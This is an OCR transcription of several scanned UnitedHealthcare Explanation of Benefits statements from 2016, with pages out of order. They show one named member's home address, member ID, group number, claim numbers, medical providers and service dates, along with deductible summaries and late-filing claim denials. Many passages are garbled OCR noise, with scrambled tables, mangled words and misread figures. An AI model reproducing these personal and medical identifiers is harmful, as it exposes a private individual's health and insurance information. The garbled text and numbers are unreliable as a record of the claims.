paY,lll'qnt was made directly tq t~asubs.crib!!r, ~ -U!lh!!. = _ ~'-_ -,subscriber is r~-~J?_qDSJ~~-(or paying the ph~ii:;\al"!, f~cility or oth~r-health care pro~es§iQ_!ll!I, · · ;,._ . ~ _When coordln~tl~,"~~f._~ nefits applies, tbi~ amount will inclu~e. p~yments made to.ttie~s.ul;l;scriber.-= STD-EOB Page 1 of 4 Use this EOB statement as a referende or retain as needed 000000671702917 I SWf-1-15050'02"07:!.494-M0-16087-!50311-AFUS 22SY1,4S United HealthCare Services,._Inc. GREENSBORO SERVICE \.,ENTER March 07, 2016 PO BOX 740809 ATLANTA.,_ GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2015 Annual (-)Applied to (=) Remaining Annual (-)Applied to (=) Remaining JEFFREY FAMILY Amount Date Balance Amount Date BalanceRelationship: EE IN NE'!:W.ORK --.~:' . :;. IN NETiiliORK Deductible $1,400.00 $700.00 $700.00 Deductible $700.00 $700.00 Met Out of Pocket $10,000.00 $6,265.59 $3,734.41 Out of Pocket $5,000.00 $4,902.65 $97.35 OUT OF NElWORK OUT OF,if;JElWORK · Deductible $2,800.00 $824.01 $1,975.99 Deductible $1,400.00 $577.00 $823.00 $15,000.00 Out of Pocket $824.01 $14,175.99 Out of Pocket $7,500.00 $824.01 $6,675.99 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. Deductible: The deductible is the fD<ed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year: The dates your plan benefrt maximums are applicable. STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 4 000000923282059 ( SWIM5050-02'073493-M0-16067-60311-AFUS Z!SYMS United HealthCare Services;...lnc. March 07, 2016 GREENSBORO SERVICE 1.,;ENTERPO BOX 740809 ATLANTA;. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. P.O. Box 149104 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a networi< physician, request an ID card, refill prescriptions if eligible, obtain more information on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal information is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You maysee the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. STD-EOS Page 3 of 4 Use this EOB statement as a reference or retain as needed SWH-15050'01'073492-M0-16067-00311-AFUS 22SYMS United.HealthcareIJIIA-~~ United HealthCare Services;.. Inc. GREENSBORO SERVICE 1..,ENTER PO BOX 740809 March 07, 2016 ATLANTA.a. GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: TEXAS RADIOLOGY Claim Number: 584907686001 Patient Account Number: 22628B4 Your Itemized Res onsibilit to Provider"• Date(s) of Type of Service Notes* Amount Plan ' Your Plan Amou nt You Service Billed (-) Discounts (-) . Paid Deductible (+) Copay 1+) Coinsurance (+) No n Covered (=) Ow e ;. 1 08/28/2015 RADIOLOGY UP $322.00 $322.00 $0.00 ·, I l •I SERVICES Claim Total: $322.00 $322.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 **This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. Notes* UP -PAYMENT FOR THIS SERVICE IS DENIED BECAUSE THE CLAIM WAS NOT FILED ON TIME. IF YOU USED A NETWORK PROVIDER, YOU DON'T OWE ANYTHING. IF THIS IS AN ERROR THE PROVIDER MUST SEND PROOF OF TIMELY FILING. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe STD-EOB Use this EOB statement as a reference or retain as needed Page 2 of 4 000000923282059 United HealthCare Services,.r.. Inc. GREENSBORO SERVICE 1...ENTEF! PO BOX 740809 ATLANTA, GA 30374-0802 SWH,l 5050'01'073491-M0-16067-60311-AFUS 22SYMS Il1J AUni~'!1!E;2!ealthcare Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. March 07, 2016 JEFFREY DAMUKAITIS Member/patient Information 2201 WILLOW CREEK DRIVE Member/Patient: JEFFREY DAMUKAITIS UTILE ELM, TX 75068 Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group #: 0201057 Explanation of Benefits tatement This is not a bill. Do not pay. This is to notify you that we processed your claim. Claims Summary Detailed claim information is located bn the following page(s). I L , -Amount Billed -· · . . . ... , -. ,. ·· . "' $322,00 This is· the toial amounfth~t'your provider bilet:t!tor the services tha't~ere provided to you_:· · · ·I " . . , . , • I , . . . .., •· . Plan Discounts .. j . . . · . · . ·::: ·_$322:,00 You~ P.!~n n~oti~tes disco~nts with provideis tosa~ ~ ~ney . .-~ is a!11ouht ~a~.~ls_o include ;, ;;j . services that~ are not.responsibl to· pay ..:· ·_, !• I i1•, , , :-• ·, .. 1 · i I" ,, ~.11, •. <1 ",~ .. : ' . . • I ' I •. ' • I I I • • ' • ', . . ~ • ' .. ·! l l :. •. 1 I 1!L,ij::if. I . • 1 1 " · .., ,. . · . I · : . · ·-·-· $0.00 This is the portion or th~ am~~nt billed that was tpaid by your plan_c:·~ ; ' ' .. . -~ --Total amount.you 'owe,tne provide.r(s) --• :t ~ = -. '='"'="=­. ·--The portion or the Amouiit.Bilied you.owe the.p~ vider(s). This amount does not reflect aoy---:-::-·= ..paym?nt you maY. have, already made.at the .ti.1'1113 you received ca~ This am~unt may.jn_gude yo~r , , dedu9Jible, oo~p~,y,.coinsur,ari~ a11gl_~rnon q>Y~~; charg~s . . T~is.,:amount dR~~ l'.")t.inPh,l,!!~.,_~'1Y, ~fr-.; :, · :; 'f~ ,, 4; . payoi~11~ m~'!.,lo, th~ .s~~ciibei:\ ~l.{;~P.~Y!"l~'iit ~a,s maa~.d,irectly:tq ,the s.u~ofi~ J. ~.lilt!J(.:1Jt ,ff! ~ subss{i-P.8J is.responsible: f9f paying th.~ physic_i'41:JacUlty or otner ~e~1th care_pfQfes~j~nal. . a;.1•: . _ * When CQ.ordinatiqr:i of benefits aepl~ s. this ~untwill include payments ro._ ade to__the su!?_s~~r .. ' .. STD-EOB Page 1 of 4 Use this EOB statement as a reference or retain as needed 000000923282059 S WB-03481 "03"016858-M0-16130-60311-AFUS 22SYCP UnitedHealthcare di Al.nllldlillllh ~~ United HealthCare Services.._ Inc. GREENSBORO SERVICE "ENTER May 09, 2016 PO BOX 740809 ATLANTAA GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Definitions of Key Terms Patient Non Covered The amount of money you pay for services that are not covered Plan Year. The dates your plan benefit maximums are applicable. under your plan. STD-EOB Use this EOB statement as a reference or retain as needed Page 6 of 6 OOOC0097l568077 S WB-03481'03'016857-M0-16130-60311-AFUS 22SYCP UniredHeaJthcare ~A--­ United HealthCare Services;,.lnc. May 09, 2016 GREENSBORO SERVICE vENTER PO BOX 740809 ATLANTA.., GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infonnation. correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code infonnation regarding the services referenced in this communication. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2015 Annual (-)Applied to (=)Remaining Annual (-)Applied to (=)Remaining JEFFREY FAMILY Amount Date Balance Amount Date Balance Relationship: EE IN N!;T\NORK :;, INNETWORK ·. $1,400.00 $700.00 $700.00 Deductible Deductible $700.00 $700,00 Met $5,000.00 $4,902.65 $97.35 Out of Pocket ' OUT OF NETWORK -;T $1,400.00 $1,400.00 Met Deductible $7,500.00 $2,965.15 $4,534.85 Out of Pocket Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of Coinsurance: The money you pay for health services after you have satisfied the deductible. this EOB statement Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for health care services before your plan benefits are payable. Once the deductible has been eligible health care services. Please refer to your plan documents for more information. met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. STD-EOB Page 5 of 6 Use this EOB statement as a reference or retain as needed S WB-03481"02"016856-M0-18130-60311-AFUS 22SYCP Unit.edHealthcare tID A~.......,~ United HealthCare Services.._Inc. GREENSBORO SERVICE l-ENTER May 09, 2016 PO BOX 740809 ATLANTAA GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149091 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more information on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal information is very important to us at United Healthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 6 0000009735660TT SWB-034&1'02"016&55·M0-16130•W311-AFUS 22SYCP UnitedHealthcare dlA-"""C...,-.,.,, United HealthCare Services;. Inc. May 09, 2016 GREENSBORO SERVICE 1,.;ENTER PO BOX 740809 ATLANTA.,_GA 3037 4-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infonnation. Claim Detail for JEFFREY DAMUKAITIS Patient Account Number: 1775227060 Claim Number: 325870017301 Provider: M SAEED Your Itemized Res onsibilit to Provider"" Amount You Date(s) of Type of Service Notes• Amount Plan Your Plan Copay (+) Coinsurance (+) Non Covered (-') Owe Service Billed (-) Discounts (-)' Paid Deductible (+) ••This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. Notes* 29 -YOUR PLAN COVERS THE ELIGIBLE EXPENSE AMOUNT REIMBURSABLE UNDER YOUR PLAN FOR COVERED OUT-OF-NETWORK HEAL TH SERVICES. THE ELIGIBLE AMOUNT IS BASED ON A DATABASE OF COMPETITIVE FEES FOR SIMILAR SERVICES OR SUPPLIES IN YOUR AREA. BENEFITS ARE NOT AVAILABLE FOR THAT PORTION OF THE CHARGE THAT EXCEEDS THE ELIGIBLE AMOUNT DETERMINED FOR THIS SERVICE. ·-----­ HR -CHARGES WERE RECONSIDERED AND THE CLAIM WAS PROCESSED PER MEMBER BENEFITS, AS A RESULT OF THE ADDITIONAL INFORMATION PROVIDED. IQ -TI·US CLAIM HAS BEEN PROCESSED ACCORDING TO YOUR MEMBER BENEFITS. UP -PAYMENT FOR THIS SERVICE IS DENIED BECAUSE THE CLAIM WAS NOT FILED ON TIME. IF YOU USED A NETWORK PROVIDER, YOU DON'T O\/1/E ANYTHING. IF THIS IS AN ERROR THE PROVIDER MUST SEND PROOF OF TIMELY FILING. You have the right to receive, upon request and free of charge, a copy of the internal rule, guideline or protocol that we relied upon in making the non-coverage decision for your claim. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UniteaHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. Page 3 of 6 STD-EOB S WB-03"81'01'016854,M().16130,60311,AFUS 22SYCP United HealthCare Services.:..Inc. GREENSBORO SERVICE vENTER May 09, 2016 PO BOX 740809 ATLANTA.i. GA 30374-0802 Have more questions abOut your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: S STONE Claim Number: 594473125001 Patient Account Number: 21288556 Date(s) of Type of Service Notes• Service Amount Billed (-) Plan ~ YourPlan Discounts (-) -Paid - 03/19/2015 DIAGNOSTIC UP $30.00 $30.00 $0.00 SERVICES Claim Total: $30.00 $30..00 $0.00 Claim Detail for JEFFREY DAMUKAITIS Provider: M SAEED Claim Number: 325869982501 Your Itemized Res onsibilit to Provider-• Date(s) of Type of Service Notes* Amount Plan Your:Plan_ I Amount You ! Service Billed (-) Discounts (-) Paid (=) Deductible (+) Copay (+J Coinsi.1rance (+) Non Covered(=) Owe 04/22/2015 IH MEDICAL VISIT Claim Total: 29 IQ $2,000.00 $2,000.00 $0.00 $0.00 $140.00 $140.00 . • I t I ; I I : 11 I I 11 ~ : , I II ..This total does not reflect any payments I copays you made at the time of service. Please wait for a provider bill before making a payment. STD-EOB Use this EOB statement as a reference or retain as needed Page 2 of 6 I S WB-03481 '01'016853·M0·16130·60311·AFUS 22SYCP UnitedHealthcare ~ A Ul'i-Group Co!rponyUnited HealthCare Services, Inc. GREENSBORO SERVICE CENTER PO BOX 7 40809 ATLANTA, GA 30374-0802 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. May 09, 2016 JEFFREY DAMUKAITIS Member/Patient lnfonnation 2201 WILLOW CREEK DRIVE Member/Patient: JEFFREY DAMUKAITIS LITTLE ELM, TX 75068 Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group#: 0201057 Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. Claims Sum~ary I Detailed claim information is located on the following page(s). Amount Billed . .i · . -, $5,530.00, This i~ the total amount that your provider biledj for the services that ~ ~re provid~ to yoµ; Plan Discounts I ·· ! , ,.? ,, , $30.00 Your plan negotiates discounts with providers to save you money. This amount may also i11dude services that you are not responsiite to pay. -· . Your Plan Paid , .. ,. . :, $325.50 This is the portion of the amount billed that was paid by your plan. ' -l, , ,i.': .:·,1;1,, . ' ' I ~ I _ Total amount you owe the provider(s) .,. . ­i . ! ""'""'· _;. .· _ i ' : ' ,,, ..~ ..~.:... ~The portion of the Amount BiW'ed you owe the provider(s). This,,amount does not reflect any,_._ ~ payme~t.you may,_hav~ already mad~ at the timb you receiv~ ca_re. -This amount may-i'!_qll,9e,..yout_ -~ ••. deductible,. co.,,p:ay,. com~urance and/or non covered charges. This B!JlOUnt does_not Include <!0Y ,.,_ · ; payments made) o the subscribe~ If a payme~t was made directly to.tli~ subscriber. yo_lJ/the: ·-' = subscriber is responsible for paying the physician, facility ocother: health care professional. J _ ..c1, --­;.Ir -· -f er---:­-•• • • ·"• -­-' I "~ ~..,,._ * . 'Mlen co9rctination of ~ne_fits applies, t~.i~ a.ryouot...wl.lJJ_flcluq,~ RE!YTTl'lrit~ maq_e ~c, tQy4.~~~cJibeI ,_ STD-EOB Page 1 of 6 Use this EOB statement as a reference or retain as needed 000000973566077 S WD-03723'02'0178114-M0-1 e08Q-'3031 1-/IFUS 22SYMS UnitedHealthcare .mA-c...i,~ United HealthCare Services;,. Inc. GREENSBORO SERVICE 1....ENTER March 29, 2016 PO BOX 740809 ATLANTA;, GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2015 Annual (-)Applied to (=)Remaining Annual (-)Applied to (=) Remaining JEFFREY FAMILY Amount Date Balance Amount Date Balance Relationship: EE IN NElWORK IN,NElWORK . i!,=; I.-. ~ •.I I, .·-· :--·· Deductible $1 ,400.00 $700.00 $700.00 $700.00 $700.00 Met Deductible Out of Pocket $10,000.00 $6,265.59 $3,734.41 Out of Pocket $5,000.00 $4,902.65 $97,35 •E>UT OF NETWORK : I lout OF NETWORK $2,800.00 $1,400.00 Deductible $1,400.00 Deductible $1,400.00 $1,400.00 Met Out of Pocket $15,000.00 $2,825.65 $12,174.35 Out of Pocket $7,500.00 $2,825.65 $4,674.35 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year. The dates your plan benefit maximums are applicable. STO-EOB Use this EOB statement as a reference or retain as needed Page 4 of 4 S W0.03723'02'017893-M0-16089-00311-Al'US 22SYMS f1II UnitedHealthcare U,A....,.._,i....,r.n...., United HealthCare Services,,,.Inc. March 29, 2016 GREENSBORO SERVICE 1..,ENTER PO BOX 740809 ATLANTA;. GA 30374-0802 Have more questions about your claim? Phone: 1-o0Q.638-8884 Visit www.myuhc.com for all your claim and benefit information. There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149104 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: Co [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review daims, check eligibility, locate a networ1< hysician, request an ID card, refill prescriptions if eligible, obtain more information on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal information is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, induding medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. Page 3 of 4 SWD-037231111l17892-M0-16089-ell311-AFUS 22SYMS United HealthCare Services;..lnc. GREENSBORO SERVICE 1..,ENTER March 29, 2016 PO BOX 740809 ATLANTA;. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infonnation. Claim Detail for JEFFREY DAMUKAITIS Provider: NORTHPOINT RADIATION Claim Number: 589933823001 Patient Account Number: 62421-42 Date(s) of Service Type of Service Notes* Amount Billed (-) Plan Discounts -Y-01.4r Pl•n (-) --Paid ' (=) 06/29/2015 MEDICAL SERVICES 06/29/2015 MEDICAL SERVICES 06/30/2015 MEDICAL SERVICES 06/30/2015 MEDICAL SERVICES Claim Total: UP UP UP UP $220.00 $1,613.00 $220.00 $1,613.00 $3,666,00 $220.00 $1,613.00 $220.00 $1,613.00 $3,666.00 $0.00 $0.00 $0.00 $0.00 $0.00 Notes* Your Itemized Res onsibilit to Provider** Amount You Deductible (+) Copay (+) Coinsc1rance (+) Non Covered (=) Owe $0.00 $0.00 $0.00 0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 -This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. UP -PAYMENT FOR THIS SERVICE IS DENIED BECAUSE THE CLAIM WAS NOT FILED ON TIME. IF YOU USED A NETWORK PROVIDER, YOU DONT OWE ANYTHING. JF THIS IS AN ERROR THE PROVIDER MUST SEND PROOF OF TIMELY FILING. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days afterwe receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: STD·EOB Use this EOB statement as a reference or retain as needed Page 2 of 4 000000941682041 United HealthCare Services..,_ Inc. GREENSBORO SERVICE 1...ENTER PO BOX 740809 ATLANTA, GA 30374-0802 s w o 1 723•01 "017691-M0-16089-60311-AFUS 22SYMS UnitedHealthcar~ ~ Alh!edHealth ~~ I Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. March 29, 2016 JEFFREY DAMUKAITIS Member/Patient .Information 2201 WILLOW CREEK DRIVE Member/Patient: JEFFREY DAMUKAITIS LITTLE ELM, TX 75068 Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group #: 0201057 Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. Claims Sum~ ary Detailed claim information is located on the following page(s). ""·-,,·Dollar Amoufit'7'Descrij>tioi1'!""~-r-~,.._.__ . ~ -· ;--;!'.:--·.:-.;:-_ --.... . ~~­ . • , Amount BIiied .. . . ! . , , . .. , ; . .,:.;.}_-$~.~~-·9?. T~is i~.!~e totali~.~R.unt that ~~r.p~vid~fbiledi~o~~ se~_~f)hat were.,~~vid~--~~:~u: ; -::.j:j.,;_ -, -Plan-Discounts !?'.;r · 1• i :..: ,·.· · ., :-, c,;-~ . ,;;·,: · .. ;a.1!0!: ·;: L ,· ~:. $3,666.00 Your plan negotiates disoounts with pro~ers tosave you money. Ths amount may arsoinclude;:-· . . . . s,ervices that youam not responsible to,pay.., i_.. .:: -+ · . ' ! '. .. : ,' ' . . ;~• )"our'Plan Paid·<,.;..-· · ·· -..-.· . . :·:·,: . ,. ; ··.-1 ; .. · --~·:·~: . '. '·,_ -· • ·:'\·! ·' .. · ·-,~ i-:­-~ ·· $0.00 m s is the portio~'.Qf 1he amount billed that was;paid'.by your P!~n.-" · .. ...... 1 STO-EOB Page 1 of 4 Use this EOB statement as a reference or retain as needed 00000094168:2041 S VJ-202211'1l2'002298-M0-16197-a:xl11-.AFUS 22SYCP United HealthCare Services;.. Inc. GREENSBORO SERVICE vENTER July 15, 2016 PO BOX 740809 ATLANTA.,. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 JEFFREY Annual Amount (-)Applied to Date (=)Remaining Balance Relationship: EE IN NETWORK ·,· Deductible $700.00 $700.00 Met Out of Pocket $5,000.00 $5,000.00 Met .. .., .·,· =!=!*- OUTOFNETWORt< ::.,~.;:·: $1,400.00 $577.00 $623.00 Deductible Out of Pocket $7,500.00 $0.00 $7,500.00 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. Annual (-)Applied to (=) Remaining FAMILY Amount Date Balance IN NElW()RIS_ .!; .. . . -= ~ . ··• . -1 Deductible $1,400.00 $700.00 $700.00 Out of Pocket $10,000.00 $5,000.00 $5,000.00 Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year. The dates your plan benefit maximums are applicable. STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 4 S VJ-20229'02'092297-M0-16197-60311-AFUS 22SYCP UnitedHealthcare IJJA-~a...,.,, United HealthCare Seivices.,_Inc. July 15, 2016 GREENSBORO SERVICE 1.,ENTER PO BOX 7 40809 ATLANTAA GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infom,ation. P.O. Box 149091 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or seivice requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If seivices are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more infom,ation on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The infom,ation required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal infom,ation is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code infom,ation regarding the services referenced in this communication. STD-EOB Page 3 of 4 Use this EOB statement as a reference or retain as needed S VJ-20229"01"092298-M0-16197-00311-AFUS 22SYCP UnitedHealthcare 1111 U,A--0.....,. United HealthCare Services..,_Inc. GREENSBORO SERVICE ._,ENTER July 15, 2016 PO BOX 740809 ATLANTA.,, GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infonnation. Claim Detail for JEFFREY DAMUKAITIS Provider: P FLAVILL Claim Number: 603736642101 Patient Account Number: 002299-37149 Your Itemized Res onsibilit to Provider** Date(s) of Type of Service Notes* Amount Plan f· ·voi.ir Plan I Amount You Service Billed (-) Discounts (-)~ . Paid _ (=) Deductible (+} Copay (+) Coinsurance \+) Non Covered (=) Owe 06/24/2016 OFFICE VISITS D1 $300.00 $143.32 $156.68 , I II . I I I , I II .I 11 - ~ Claim Total: $300.00 $143.32 $166.68 I I> I 11 I 11 . I JI **This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Notes* D1 -THE DISCOUNT SHOWN IS YOUR SAVINGS. YOUR NETWORK PHYSICIAN OR HEALTH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU OWE MAY INCLUDE WHAT YOU NEED TO PAY IF YOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEALTH SERVICES. IF YOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER WEBSITE OR PLAN DOCUMENTS. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required 